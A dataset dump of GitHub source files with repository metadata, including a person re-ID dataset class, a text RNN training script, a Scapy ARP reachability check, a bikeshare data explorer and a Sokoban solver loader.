blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
10320c2b5c5d228ae3ada19ae71d1c1b9d7fff71
77d7f2c1284b276c95ad31b15ac2bde077f1ceca
/fastreid/data/common.py
959fefb3f17b62bcdefa3071913ff3df58331735
[ "Apache-2.0" ]
permissive
Cris-zj/fast-reid
a53f19fefe149eec93d0f1b2a1d61136d9c9eaf6
db4b65444912cfd54675e6a52fa12e2d1321e971
refs/heads/master
2022-12-14T15:23:40.820118
2020-08-31T12:34:33
2020-08-31T12:34:33
291,639,026
2
0
Apache-2.0
2020-08-31T06:56:24
2020-08-31T06:56:23
null
UTF-8
Python
false
false
1,078
py
# encoding: utf-8 """ @author: liaoxingyu @contact: [email protected] """ from torch.utils.data import Dataset from .data_utils import read_image class CommDataset(Dataset): """Image Person ReID Dataset""" def __init__(self, img_items, transform=None, relabel=True): self.img_items = img_items self.transform = transform self.relabel = relabel pid_set = set([i[1] for i in img_items]) self.pids = sorted(list(pid_set)) if relabel: self.pid_dict = dict([(p, i) for i, p in enumerate(self.pids)]) def __len__(self): return len(self.img_items) def __getitem__(self, index): img_path, pid, camid = self.img_items[index] img = read_image(img_path) if self.transform is not None: img = self.transform(img) if self.relabel: pid = self.pid_dict[pid] return { "images": img, "targets": pid, "camid": camid, "img_path": img_path } @property def num_classes(self): return len(self.pids)
3f38851402838e78a9602b3e882605fb1e2d4f86
14f4d045750f7cf45252838d625b2a761d5dee38
/argo/test/test_io_k8s_kube_aggregator_pkg_apis_apiregistration_v1beta1_api_service_condition.py
01d2de718c08b57e04b58fbd20a8e3d5c8c0eb44
[]
no_license
nfillot/argo_client
cf8d7413d728edb4623de403e03d119fe3699ee9
c8cf80842f9eebbf4569f3d67b9d8eff4ba405fa
refs/heads/master
2020-07-11T13:06:35.518331
2019-08-26T20:54:07
2019-08-26T20:54:07
204,546,868
1
0
null
null
null
null
UTF-8
Python
false
false
1,330
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: v1.14.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import argo from models.io_k8s_kube_aggregator_pkg_apis_apiregistration_v1beta1_api_service_condition import IoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition # noqa: E501 from argo.rest import ApiException class TestIoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition(unittest.TestCase): """IoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition unit test stubs""" def setUp(self): pass def tearDown(self): pass def testIoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition(self): """Test IoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition""" # FIXME: construct object with mandatory attributes with example values # model = argo.models.io_k8s_kube_aggregator_pkg_apis_apiregistration_v1beta1_api_service_condition.IoK8sKubeAggregatorPkgApisApiregistrationV1beta1APIServiceCondition() # noqa: E501 pass if __name__ == '__main__': unittest.main()
37857bc4bb9559c9e3f68635744baf75a7cc8762
c086a38a366b0724d7339ae94d6bfb489413d2f4
/PythonEnv/Lib/site-packages/docutils/utils/urischemes.py
01335601af86e67266b95a75aa5f0935ea92bcf5
[]
no_license
FlowkoHinti/Dionysos
2dc06651a4fc9b4c8c90d264b2f820f34d736650
d9f8fbf3bb0713527dc33383a7f3e135b2041638
refs/heads/master
2021-03-02T01:14:18.622703
2020-06-09T08:28:44
2020-06-09T08:28:44
245,826,041
2
1
null
null
null
null
UTF-8
Python
false
false
6,028
py
# $Id: urischemes.py 8376 2019-08-27 19:49:29Z milde $ # Author: David Goodger <[email protected]> # Copyright: This module has been placed in the public domain. """ `schemes` is a dictionary with lowercase URI addressing schemes as keys and descriptions as values. It was compiled from the index at http://www.iana.org/assignments/uri-schemes (revised 2005-11-28) and an older list at http://www.w3.org/Addressing/schemes.html. """ # Many values are blank and should be filled in with useful descriptions. schemes = { 'about': 'provides information on Navigator', 'acap': 'Application Configuration Access Protocol; RFC 2244', 'addbook': "To add vCard entries to Communicator's Address Book", 'afp': 'Apple Filing Protocol', 'afs': 'Andrew File System global file names', 'aim': 'AOL Instant Messenger', 'callto': 'for NetMeeting links', 'castanet': 'Castanet Tuner URLs for Netcaster', 'chttp': 'cached HTTP supported by RealPlayer', 'cid': 'content identifier; RFC 2392', 'crid': 'TV-Anytime Content Reference Identifier; RFC 4078', 'data': ('allows inclusion of small data items as "immediate" data; ' 'RFC 2397'), 'dav': 'Distributed Authoring and Versioning Protocol; RFC 2518', 'dict': 'dictionary service protocol; RFC 2229', 'dns': 'Domain Name System resources', 'eid': ('External ID; non-URL data; general escape mechanism to allow ' 'access to information for applications that are too ' 'specialized to justify their own schemes'), 'fax': ('a connection to a terminal that can handle telefaxes ' '(facsimiles); RFC 2806'), 'feed': 'NetNewsWire feed', 'file': 'Host-specific file names; RFC 1738', 'finger': '', 'freenet': '', 'ftp': 'File Transfer Protocol; RFC 1738', 'go': 'go; RFC 3368', 'gopher': 'The Gopher Protocol', 'gsm-sms': ('Global System for Mobile Communications Short Message ' 'Service'), 'h323': ('video (audiovisual) communication on local area networks; ' 'RFC 3508'), 'h324': ('video and audio communications over low bitrate connections ' 'such as POTS modem connections'), 'hdl': 'CNRI handle system', 'hnews': 'an HTTP-tunneling variant of the NNTP news protocol', 'http': 'Hypertext Transfer Protocol; RFC 2616', 'https': 'HTTP over SSL; RFC 2818', 'hydra': 'SubEthaEdit URI. See http://www.codingmonkeys.de/subethaedit.', 'iioploc': 'Internet Inter-ORB Protocol Location?', 'ilu': 'Inter-Language Unification', 'im': 'Instant Messaging; RFC 3860', 'imap': 'Internet Message Access Protocol; RFC 2192', 'info': 'Information Assets with Identifiers in Public Namespaces', 'ior': 'CORBA interoperable object reference', 'ipp': 'Internet Printing Protocol; RFC 3510', 'irc': 'Internet Relay Chat', 'iris.beep': 'iris.beep; RFC 3983', 'iseek': 'See www.ambrosiasw.com; a little util for OS X.', 'jar': 'Java archive', 'javascript': ('JavaScript code; evaluates the expression after the ' 'colon'), 'jdbc': 'JDBC connection URI.', 'ldap': 'Lightweight Directory Access Protocol', 'lifn': '', 'livescript': '', 'lrq': '', 'mailbox': 'Mail folder access', 'mailserver': 'Access to data available from mail servers', 'mailto': 'Electronic mail address; RFC 2368', 'md5': '', 'mid': 'message identifier; RFC 2392', 'mocha': '', 'modem': ('a connection to a terminal that can handle incoming data ' 'calls; RFC 2806'), 'mtqp': 'Message Tracking Query Protocol; RFC 3887', 'mupdate': 'Mailbox Update (MUPDATE) Protocol; RFC 3656', 'news': 'USENET news; RFC 1738', 'nfs': 'Network File System protocol; RFC 2224', 'nntp': 'USENET news using NNTP access; RFC 1738', 'opaquelocktoken': 'RFC 2518', 'phone': '', 'pop': 'Post Office Protocol; RFC 2384', 'pop3': 'Post Office Protocol v3', 'pres': 'Presence; RFC 3859', 'printer': '', 'prospero': 'Prospero Directory Service; RFC 4157', 'rdar': ('URLs found in Darwin source ' '(http://www.opensource.apple.com/darwinsource/).'), 'res': '', 'rtsp': 'real time streaming protocol; RFC 2326', 'rvp': '', 'rwhois': '', 'rx': 'Remote Execution', 'sdp': '', 'service': 'service location; RFC 2609', 'shttp': 'secure hypertext transfer protocol', 'sip': 'Session Initiation Protocol; RFC 3261', 'sips': 'secure session intitiaion protocol; RFC 3261', 'smb': 'SAMBA filesystems.', 'snews': 'For NNTP postings via SSL', 'snmp': 'Simple Network Management Protocol; RFC 4088', 'soap.beep': 'RFC 3288', 'soap.beeps': 'RFC 3288', 'ssh': 'Reference to interactive sessions via ssh.', 't120': 'real time data conferencing (audiographics)', 'tag': 'RFC 4151', 'tcp': '', 'tel': ('a connection to a terminal that handles normal voice ' 'telephone calls, a voice mailbox or another voice messaging ' 'system or a service that can be operated using DTMF tones; ' 'RFC 3966.'), 'telephone': 'telephone', 'telnet': 'Reference to interactive sessions; RFC 4248', 'tftp': 'Trivial File Transfer Protocol; RFC 3617', 'tip': 'Transaction Internet Protocol; RFC 2371', 'tn3270': 'Interactive 3270 emulation sessions', 'tv': '', 'urn': 'Uniform Resource Name; RFC 2141', 'uuid': '', 'vemmi': 'versatile multimedia interface; RFC 2122', 'videotex': '', 'view-source': 'displays HTML code that was generated with JavaScript', 'wais': 'Wide Area Information Servers; RFC 4156', 'whodp': '', 'whois++': 'Distributed directory service.', 'x-man-page': ('Opens man page in Terminal.app on OS X ' '(see macosxhints.com)'), 'xmlrpc.beep': 'RFC 3529', 'xmlrpc.beeps': 'RFC 3529', 'z39.50r': 'Z39.50 Retrieval; RFC 2056', 'z39.50s': 'Z39.50 Session; RFC 2056', }
[ "=" ]
=
bc026c4ed31e48c1c7c6a8dad59f6f27b760e5de
d44b5a657e7cd69c875b55dd5cddf21812e89095
/pixel_cnn/model/resnet.py
4c7abe39625aca83798614a9c570268916820747
[ "Apache-2.0" ]
permissive
nel215/chainer-pixel-cnn
ca8ae17fda998f7677dea785e53319b3fc646e76
94b064f9e66355d141ed5d6cce0c38492203715b
refs/heads/master
2020-04-02T02:11:29.546694
2018-10-21T12:10:43
2018-10-21T12:10:43
153,896,421
0
0
null
null
null
null
UTF-8
Python
false
false
774
py
from chainer import Chain from chainer import links as L from chainer import functions as F def concat_elu(x): return F.elu(F.concat([x, -x], 1)) class GatedResnet(Chain): def __init__(self, n_out, Conv2D): super(GatedResnet, self).__init__() with self.init_scope(): self.conv1 = Conv2D(n_out) self.conv2 = L.Convolution2D(None, n_out, ksize=1) self.conv3 = Conv2D(2*n_out) def __call__(self, x, a=None): h = self.conv1(concat_elu(x)) if a is not None: h += self.conv2(concat_elu(a)) h = F.dropout(concat_elu(h)) h = self.conv3(h) # TODO: conditional generation a, b = F.split_axis(h, 2, 1) h = a * F.sigmoid(b) return x + h
6a785fc558dbcc8272ad715017bef5db57b4b310
4124770492faac81ab962641d88c0bbf54e14d15
/run_rnn_xz.py
a3ad8a679941b50e7043c8b0d0fd7e1f9216c66f
[ "MIT" ]
permissive
lr12/textcnnrnn
5c5f47b409fb1b402a8074b89178864da97a11b5
aa0560b89a82225e7b2dbbd8223acb1c5a18eec7
refs/heads/master
2020-05-05T07:23:49.221143
2019-06-24T11:51:52
2019-06-24T11:51:52
179,823,664
0
0
null
null
null
null
UTF-8
Python
false
false
7,165
py
# coding: utf-8 from __future__ import print_function import os import sys import time from datetime import timedelta import numpy as np import tensorflow as tf from sklearn import metrics from rnn_model import TRNNConfig, TextRNN from data.cnews_loader import read_vocab, read_category, batch_iter, process_file, build_vocab #base_dir = 'data/cnews' base_dir = 'data/xz' #base_dir = 'data/ay' train_dir = os.path.join(base_dir, 'cnews.train.txt') test_dir = os.path.join(base_dir, 'cnews.test.txt') val_dir = os.path.join(base_dir, 'cnews.val.txt') vocab_dir = os.path.join(base_dir, 'cnews.vocab.txt') #save_dir = 'checkpoints/textrnn' save_dir = 'checkpoints/textrnn/xz' #save_dir = 'checkpoints/textrnn/ay' save_path = os.path.join(save_dir, 'best_validation') # 最佳验证结果保存路径 def get_time_dif(start_time): """获取已使用时间""" end_time = time.time() time_dif = end_time - start_time return timedelta(seconds=int(round(time_dif))) def feed_data(x_batch, y_batch, keep_prob): feed_dict = { model.input_x: x_batch, model.input_y: y_batch, model.keep_prob: keep_prob } return feed_dict def evaluate(sess, x_, y_): """评估在某一数据上的准确率和损失""" data_len = len(x_) batch_eval = batch_iter(x_, y_, 128) total_loss = 0.0 total_acc = 0.0 for x_batch, y_batch in batch_eval: batch_len = len(x_batch) feed_dict = feed_data(x_batch, y_batch, 1.0) loss, acc = sess.run([model.loss, model.acc], feed_dict=feed_dict) total_loss += loss * batch_len total_acc += acc * batch_len return total_loss / data_len, total_acc / data_len def train(): print("Configuring TensorBoard and Saver...") # 配置 Tensorboard,重新训练时,请将tensorboard文件夹删除,不然图会覆盖 tensorboard_dir = 'tensorboard/textrnn' if not os.path.exists(tensorboard_dir): os.makedirs(tensorboard_dir) tf.summary.scalar("loss", model.loss) tf.summary.scalar("accuracy", model.acc) merged_summary = tf.summary.merge_all() writer = tf.summary.FileWriter(tensorboard_dir) # 配置 Saver saver = tf.train.Saver() if not os.path.exists(save_dir): os.makedirs(save_dir) print("Loading training and validation data...") # 载入训练集与验证集 start_time = time.time() x_train, y_train = process_file(train_dir, word_to_id, cat_to_id, config.seq_length) x_val, y_val = process_file(val_dir, word_to_id, cat_to_id, config.seq_length) time_dif = get_time_dif(start_time) print("Time usage:", time_dif) # 创建session session = tf.Session() session.run(tf.global_variables_initializer()) writer.add_graph(session.graph) print('Training and evaluating...') start_time = time.time() total_batch = 0 # 总批次 best_acc_val = 0.0 # 最佳验证集准确率 last_improved = 0 # 记录上一次提升批次 require_improvement = 1000 # 如果超过1000轮未提升,提前结束训练 flag = False for epoch in range(config.num_epochs): print('Epoch:', epoch + 1) batch_train = batch_iter(x_train, y_train, config.batch_size) for x_batch, y_batch in batch_train: feed_dict = feed_data(x_batch, y_batch, config.dropout_keep_prob) if total_batch % config.save_per_batch == 0: # 每多少轮次将训练结果写入tensorboard scalar s = session.run(merged_summary, feed_dict=feed_dict) writer.add_summary(s, total_batch) if total_batch % config.print_per_batch == 0: # 每多少轮次输出在训练集和验证集上的性能 feed_dict[model.keep_prob] = 1.0 loss_train, acc_train = session.run([model.loss, model.acc], feed_dict=feed_dict) loss_val, acc_val = evaluate(session, x_val, y_val) # todo if acc_val > best_acc_val: # 保存最好结果 best_acc_val = acc_val last_improved = total_batch saver.save(sess=session, save_path=save_path) improved_str = '*' else: improved_str = '' time_dif = get_time_dif(start_time) msg = 'Iter: {0:>6}, Train Loss: {1:>6.2}, Train Acc: {2:>7.2%},' \ + ' Val Loss: {3:>6.2}, Val Acc: {4:>7.2%}, Time: {5} {6}' print(msg.format(total_batch, loss_train, acc_train, loss_val, acc_val, time_dif, improved_str)) session.run(model.optim, feed_dict=feed_dict) # 运行优化 total_batch += 1 if total_batch - last_improved > require_improvement: # 验证集正确率长期不提升,提前结束训练 print("No optimization for a long time, auto-stopping...") flag = True break # 跳出循环 if flag: # 同上 break def test(): print("Loading test data...") start_time = time.time() x_test, y_test = process_file(test_dir, word_to_id, cat_to_id, config.seq_length) session = tf.Session() session.run(tf.global_variables_initializer()) saver = tf.train.Saver() saver.restore(sess=session, save_path=save_path) # 读取保存的模型 print('Testing...') loss_test, acc_test = evaluate(session, x_test, y_test) msg = 'Test Loss: {0:>6.2}, Test Acc: {1:>7.2%}' print(msg.format(loss_test, acc_test)) batch_size = 128 data_len = len(x_test) num_batch = int((data_len - 1) / batch_size) + 1 y_test_cls = np.argmax(y_test, 1) y_pred_cls = np.zeros(shape=len(x_test), dtype=np.int32) # 保存预测结果 for i in range(num_batch): # 逐批次处理 start_id = i * batch_size end_id = min((i + 1) * batch_size, data_len) feed_dict = { model.input_x: x_test[start_id:end_id], model.keep_prob: 1.0 } y_pred_cls[start_id:end_id] = session.run(model.y_pred_cls, feed_dict=feed_dict) # 评估 print("Precision, Recall and F1-Score...") print(metrics.classification_report(y_test_cls, y_pred_cls, target_names=categories ,digits=4)) # 混淆矩阵 print("Confusion Matrix...") cm = metrics.confusion_matrix(y_test_cls, y_pred_cls) print(cm) time_dif = get_time_dif(start_time) print("Time usage:", time_dif) if __name__ == '__main__': # if len(sys.argv) != 2 or sys.argv[1] not in ['train', 'test']: # raise ValueError("""usage: python run_rnn.py [train / test]""") print('Configuring RNN model...') config = TRNNConfig() if not os.path.exists(vocab_dir): # 如果不存在词汇表,重建 build_vocab(train_dir, vocab_dir, config.vocab_size) categories, cat_to_id = read_category() words, word_to_id = read_vocab(vocab_dir) config.vocab_size = len(words) model = TextRNN(config) train() test() # if sys.argv[1] == 'train': # train() # else: # test()
8fe298aaf5cf8b93c96ab107fbe0f5771e3f5e25
b775940595617a13289ee7006cf837f8f3a34480
/examples/ppk_plot.py
24497e1d56f97c75755d7197f2dbe75215961c3c
[]
no_license
Nathan-Walk/manufacturing
5d2f58c2be45c9ccb2263bd750b6c18809fe76d4
2a22457ff9ef695da649a1e11d0cf7cb8ddde348
refs/heads/master
2023-03-08T19:48:15.613729
2021-02-26T01:05:46
2021-02-26T01:05:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
276
py
import logging import matplotlib.pyplot as plt from manufacturing import import_excel, ppk_plot logging.basicConfig(level=logging.INFO) data = import_excel('data/example_data_with_faults.xlsx', columnname='value (lcl=-7.4 ucl=7.4)', skiprows=3) ppk_plot(**data) plt.show()
e853707cdb0cd2cd268ce7a38fba29144661310f
fa6bc3c7733cb2728224b8ac71e04d3b4b50b184
/alerts/sponsors/support.py
413591435ccb4b2e87b2399feea4796d55a57b04
[ "Apache-2.0" ]
permissive
shanz/mirandum
5636fbe599a539bf262e8f3da6e0e4e83d39cc73
ce1d662a7cf64ed223d71fffed02acd3f9244e90
refs/heads/master
2021-01-21T03:09:14.287076
2016-04-30T06:39:47
2016-04-30T06:39:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,938
py
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json import httplib2 from sponsors.models import * from googaccount.models import CredentialsModel from django.contrib.auth.models import User from oauth2client.contrib.django_orm import Storage BASE_URL = "https://www.googleapis.com/youtube/v3/" def run_sponsors(ffu): added = 0 storage = Storage(CredentialsModel, 'id', ffu.credentials, 'credential') credential = storage.get() if credential is None or credential.invalid == True: raise Exception("bad creds") return added http = httplib2.Http() http = credential.authorize(http) resp, data = http.request("%ssponsors?part=snippet&maxResults=5&filter=all" % BASE_URL) data = json.loads(data) if 'error' in data: raise Exception("Error fetching sponsors: %s" % json.dumps(data['error'])) events = [] if 'items' in data: for i in data['items']: if SponsorEvent.objects.filter(external_id=i['etag'], updater=ffu).count() > 0: break details = json.dumps(i) try: ffe = SponsorEvent(external_id=i['etag'], updater=ffu, details=details) ffe.save() except Exception, E: print "Failed in individual sponsor run: %s\nData:\n%s" % (E, details) added += 1 return added
d7a475241f3c8632512754d85bd07dc6b8525b48
6b5142b5def59556942f91411a792ac5d15fc427
/l2tshoot.py
7ae899cee162ca115d4f8d2adc564046b703a3f2
[]
no_license
karthiksjsu/codedump
2a9c9ee4f75deba0b8cc8f460afd3b85f1ff239a
ac94fc8a259023ba804c0e587f72a9dfed89bbd6
refs/heads/master
2021-01-19T17:02:36.274907
2017-04-14T21:14:14
2017-04-14T21:14:14
88,301,373
0
0
null
null
null
null
UTF-8
Python
false
false
627
py
import logging logging.getLogger("scapy runtime").setLevel(logging.ERROR) from scapy.all import * dstip=raw_input("Enter the IP for which the status needs to be checked\n") logging.info("constructing ARP message") arp=ARP() arp.hwdst='00:00:00:00:00:00' arp.hwsrc='08:00:27:dd:f5:3a' arp.pdst=dstip arp.src='10.0.2.15' ether=Ether() ether.dst='FF:FF:FF:FF:FF:FF' ether.src='08:00:27:dd:f5:3a' packet=ether/arp reply=srp1(packet,timeout=5,verbose=0) if(reply): print "Layer2 status is up and at " +reply.src #print reply.show() else: print "Layer2 status is down" logging.warning(" Status is down")
20c3c2ce5f8c8c1514529d8e50833e1553d9df21
c7ae47e0806c19cf3462c090fa9015f27a4d5e90
/blog/migrations/0001_initial.py
c1734eec62851501c157060e7ceefd67a563537d
[]
no_license
micahchuim/portfolio
a1bc1cb89dbe9650235dbafc5bafffa4e25fdc32
0e5458e59fb6dc47a1b6cbb4f5214271defc39ec
refs/heads/master
2023-01-10T03:14:46.642706
2020-11-16T03:04:14
2020-11-16T03:04:14
313,176,277
0
0
null
null
null
null
UTF-8
Python
false
false
584
py
# Generated by Django 3.1.3 on 2020-11-13 07:52 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Blog', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=200)), ('description', models.TextField()), ('date', models.DateField()), ], ), ]
add0c5f6565b30e25421cd87641a4403aaad57bc
840c7884fe10902f11bceb6e7ef78d8fc7f92818
/py_thread/fx_thread.py
042be7780b7f16f47789eaead8704478df9fc359
[]
no_license
johnnyem527/pyprac
07a7a6c2a52169be5424d65a5f91aad815a4d08a
5899c0c57a49121957f4fb9f56d47ee681dbe77b
refs/heads/master
2021-05-08T18:02:21.836654
2018-04-11T12:22:48
2018-04-11T12:22:48
119,498,838
1
0
null
null
null
null
UTF-8
Python
false
false
665
py
# 函数式使用线程 import threading tickets = 1000 lock = threading.Lock() def buy_ticket(tid): global lock global tickets while True: lock.acquire() if tickets != 0: print("线程" + tid + ":买到了第" + str(tickets) + "张票") tickets -= 1 print("还剩 :" + str(tickets) + "张票") # print(threading.current_thread()) else: print("线程" + tid + ": 票已抢完!") lock.release() break lock.release() for i in range(3): new_thread = threading.Thread(target=buy_ticket, args=(str(i),)) new_thread.start()
cc35858bc95f4683d14d95919f9519628e61c9bc
79067556d586128deadc846098010059d20f60e2
/bikeshare.py
becb19cf9c26bfd2ec8cc95528a0b9e8cfc5025b
[]
no_license
mohamedkhnour/Explore-US-Bikeshare-Data
656fe2f1bf39e9ea1aceefbc2c792940c0a69b8d
87ca4bf6fba60cfbdf86653614ad85a00f40ffdb
refs/heads/main
2023-04-08T16:15:10.654637
2021-04-15T20:11:38
2021-04-15T20:11:38
358,376,362
1
0
null
null
null
null
UTF-8
Python
false
false
7,834
py
import time import pandas as pd import numpy as np CITY_DATA = { 'ch': 'chicago.csv', 'ny': 'new_york_city.csv', 'w': 'washington.csv' } def get_filters(): # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs city_selection = input('to view available BS data, kindly type: \n The letter(ch) for Chicago \n The letter (ny) for New York City \n The letter (W) for Washington \n').lower() while city_selection not in {'ch','ny','w'}: print('that is invalid input .') city_selection = input('to view available BS data, kindly type: \n The letter(ch) for Chicago \n The letter (ny) for New York City \n The letter (W) for Washington \n').lower() # TO DO: get user input for month (all, january, february, ... , june) monthes=['january','february','march','april','may','june','all'] month_selection = input('select month \n January \n February\n March\n April\n May\n June\n ALL\n').lower() while month_selection not in monthes: print('that is invalid input .') month_selection = input('select month \nJA January \nFE February\n MA March\n AP April\n MA May\n JU June\n ALL\n').lower() # TO DO: get user input for day of week (all, monday, tuesday, ... sunday) day_selection =input('select Day \nMonday \nTuesday\nWednesday\n Thursday\nFriday\n Saturday\n Sunday\n ALL').lower() days=['monday', 'tuesday', 'wednesday', 'thursday','friday', 'saturday', 'sunday','all'] while day_selection not in days: print('that is invalid input .') day_selection = input('select Day \nMonday \nTuesday\nWednesday\n Thursday\nFriday\n Saturday\n Sunday\n ALL').lower() print('-'*40) return city_selection, month_selection, day_selection def load_data(city, month, day): """ Loads data for the specified city and filters by month and day if applicable. Args: (str) city - name of the city to analyze (str) month - name of the month to filter by, or "all" to apply no month filter (str) day - name of the day of week to filter by, or "all" to apply no day filter Returns: df - Pandas DataFrame containing city data filtered by month and day """ # load data file into a dataframe df = pd.read_csv(CITY_DATA[city]) # convert the Start Time column to datetime df['Start Time'] = pd.to_datetime(df['Start Time']) # extract month and day of week from Start Time to create new columns df['month'] = df['Start Time'].dt.month df['day_of_week'] = df['Start Time'].dt.weekday_name # filter by month if applicable if month != 'all': # use the index of the months list to get the corresponding int months = ['january', 'february', 'march', 'april', 'may', 'june'] month = months.index(month) + 1 # filter by month to create the new dataframe df = df[df['month'] == month] # filter by day of week if applicable if day != 'all': # filter by day of week to create the new dataframe df = df[df['day_of_week'] == day.title()] return df return df def time_stats(df1): """Displays statistics on the most frequent times of travel.""" df = df1 print('\nCalculating The Most Frequent Times of Travel...\n') start_time = time.time() df['Start Time'] = pd.to_datetime(df['Start Time']) # TO DO: display the most common month df['month'] = df['Start Time'].dt.month popular_month = df['month'].mode()[0] print('Most Popular Start month:', popular_month) # TO DO: display the most common day of week df['day'] = df['Start Time'].dt.dayofweek popular_day = df['day'].mode()[0] print('Most Popular Start month:', popular_day) # TO DO: display the most common start hour df['hour'] = df['Start Time'].dt.hour popular_hour = df['hour'].mode()[0] print('Most Popular Start Hour:', popular_hour) print("\nThis took %s seconds." % (time.time() - start_time)) print('-'*40) return(time.time() - start_time) def station_stats(df1): """Displays statistics on the most popular stations and trip.""" print('\nCalculating The Most Popular Stations and Trip...\n') start_time = time.time() df = df1 # TO DO: display most commonly used start station common_start_station = df['Start Station'].mode()[0] print("The most start station from data is: " + common_start_station) # TO DO: display most commonly used end station common_end_station = df['End Station'].mode()[0] print("The most end station is: " + common_end_station) # TO DO: display most frequent combination of start station and end station trip frequent_combination = (df['Start Station'] + "||" + df['End Station']).mode()[0] print("The moststart station and end station trip is : " + str(frequent_combination.split("||"))) print("\nThis took %s seconds." % (time.time() - start_time)) print('-'*40) def trip_duration_stats(df): """Displays statistics on the total and average trip duration.""" print('\nCalculating Trip Duration...\n') start_time = time.time() # TO DO: display total travel time total_travel_time = df['Trip Duration'].sum() print("The total travel time from the given fitered data is: " + str(total_travel_time)) # TO DO: display mean travel time mean_travel_time = df['Trip Duration'].mean() print("The mean travel time from the given fitered data is: " + str(mean_travel_time)) print("\nThis took %s seconds." % (time.time() - start_time)) print('-'*40) def user_stats(df): """Displays statistics on bikeshare users.""" print('\nCalculating User Stats...\n') start_time = time.time() # TO DO: Display counts of user types gender = df['Gender'].value_counts() print("The count of user gender from the given fitered data is: \n" + str(gender)) # TO DO: Display counts of gender earliest_birth = df['Birth Year'].min() most_recent_birth = df['Birth Year'].max() most_common_birth = df['Birth Year'].mode()[0] print('Earliest birth from the given fitered data is: {}\n'.format(earliest_birth)) print('Most recent birth from the given fitered data is: {}\n'.format(most_recent_birth)) print('Most common birth from the given fitered data is: {}\n'.format(most_common_birth) ) # TO DO: Display earliest, most recent, and most common year of birth print("\nThis took %s seconds." % (time.time() - start_time)) print('-'*40) '''def main(): city,month,day=get_filters() df=load_data(city,month,day) #print(df.head()) time_stats(df) station_stats(df) trip_duration_stats(df) if city=='ch': user_stats(df)''' def display_raw_data(df): print(df.head()) next = 0 while True: view_raw_data = input('\nWould you like to view next five row of raw data? Enter yes or no.\n') if view_raw_data.lower() != 'yes': return next = next + 5 print(df.iloc[next:next+5]) def main(): while True: city, month, day = get_filters() df = load_data(city, month, day) time_stats(df) station_stats(df) trip_duration_stats(df) if city=='ch': user_stats(df) while True: view_raw_data = input('\nWould you like to view first five row of raw data? Enter yes or no.\n') if view_raw_data.lower() != 'yes': break display_raw_data(df) break restart = input('\nWould you like to restart? Enter yes or no.\n') if restart.lower() != 'yes': break if __name__ == "__main__": main()
3da20a20d29aa2f522c83f995e511782028cfdd3
c405becd9f1a66dc3675adb106db01a7aedec840
/sokoban.py
d327733d2888ea940d0e148d4f9ef6e8913deabd
[]
no_license
ssonkar/Sokoban-Solver
7897f115497cb05f11d1401c9232f8264daa59f8
31a001de38327e5764c941f1e729b888ee988364
refs/heads/master
2020-04-10T10:45:09.673727
2018-12-08T23:25:36
2018-12-08T23:25:36
160,974,810
1
1
null
null
null
null
UTF-8
Python
false
false
1,781
py
from board import Board #from boardastar import Boardastar import bfs import ucs import ass class Sokoban: ''' Sokoban game class ''' def new_board(self, filename): ''' Creates new board from file ''' e = [] # empty solution list b = Board(e) with open(filename, 'r') as f: # automatically closes file read_data = f.read() lines = read_data.split('\n') height = lines.pop(0) x = 0 y = 0 for line in lines: for char in line: # adds Spots to board's sets by reading in char if char == '#': b.add_wall(x, y) elif char == '.': b.add_goal(x, y) elif char == '@': b.set_player(x, y) elif char == '+': # player gets its own Spot marker b.set_player(x, y) b.add_goal(x, y) elif char == '$': b.add_box(x, y) elif char == '*': b.add_box(x, y) b.add_goal(x, y) x += 1 y += 1 x = 0 # check for a board with no player if hasattr(b, 'player'): return b else: print("No player on board") return None def doSearches(self, board, option): if option == 1: bfs.search(board) if option == 2: ucs.search(board) if option == 3: board.isAstar = True ass.search(board)
d1362ba688ba94ce5fb4fef263f80e8985e67648
4fff1e1dd0218ff64f7d8221445ed4a6f6687f85
/web/migrations/0002_income.py
f925f2ad4b92efbdfe984ad40793edda1f2977f8
[]
no_license
fahim1377/bestoon
02e98f34afc79382ab6076cba07e008767e49d14
9d1c94b01ff03ea5e3e74728f3130b6554e644a9
refs/heads/master
2020-06-18T03:03:06.958510
2019-07-10T06:10:41
2019-07-10T06:10:41
195,384,567
0
0
null
null
null
null
UTF-8
Python
false
false
858
py
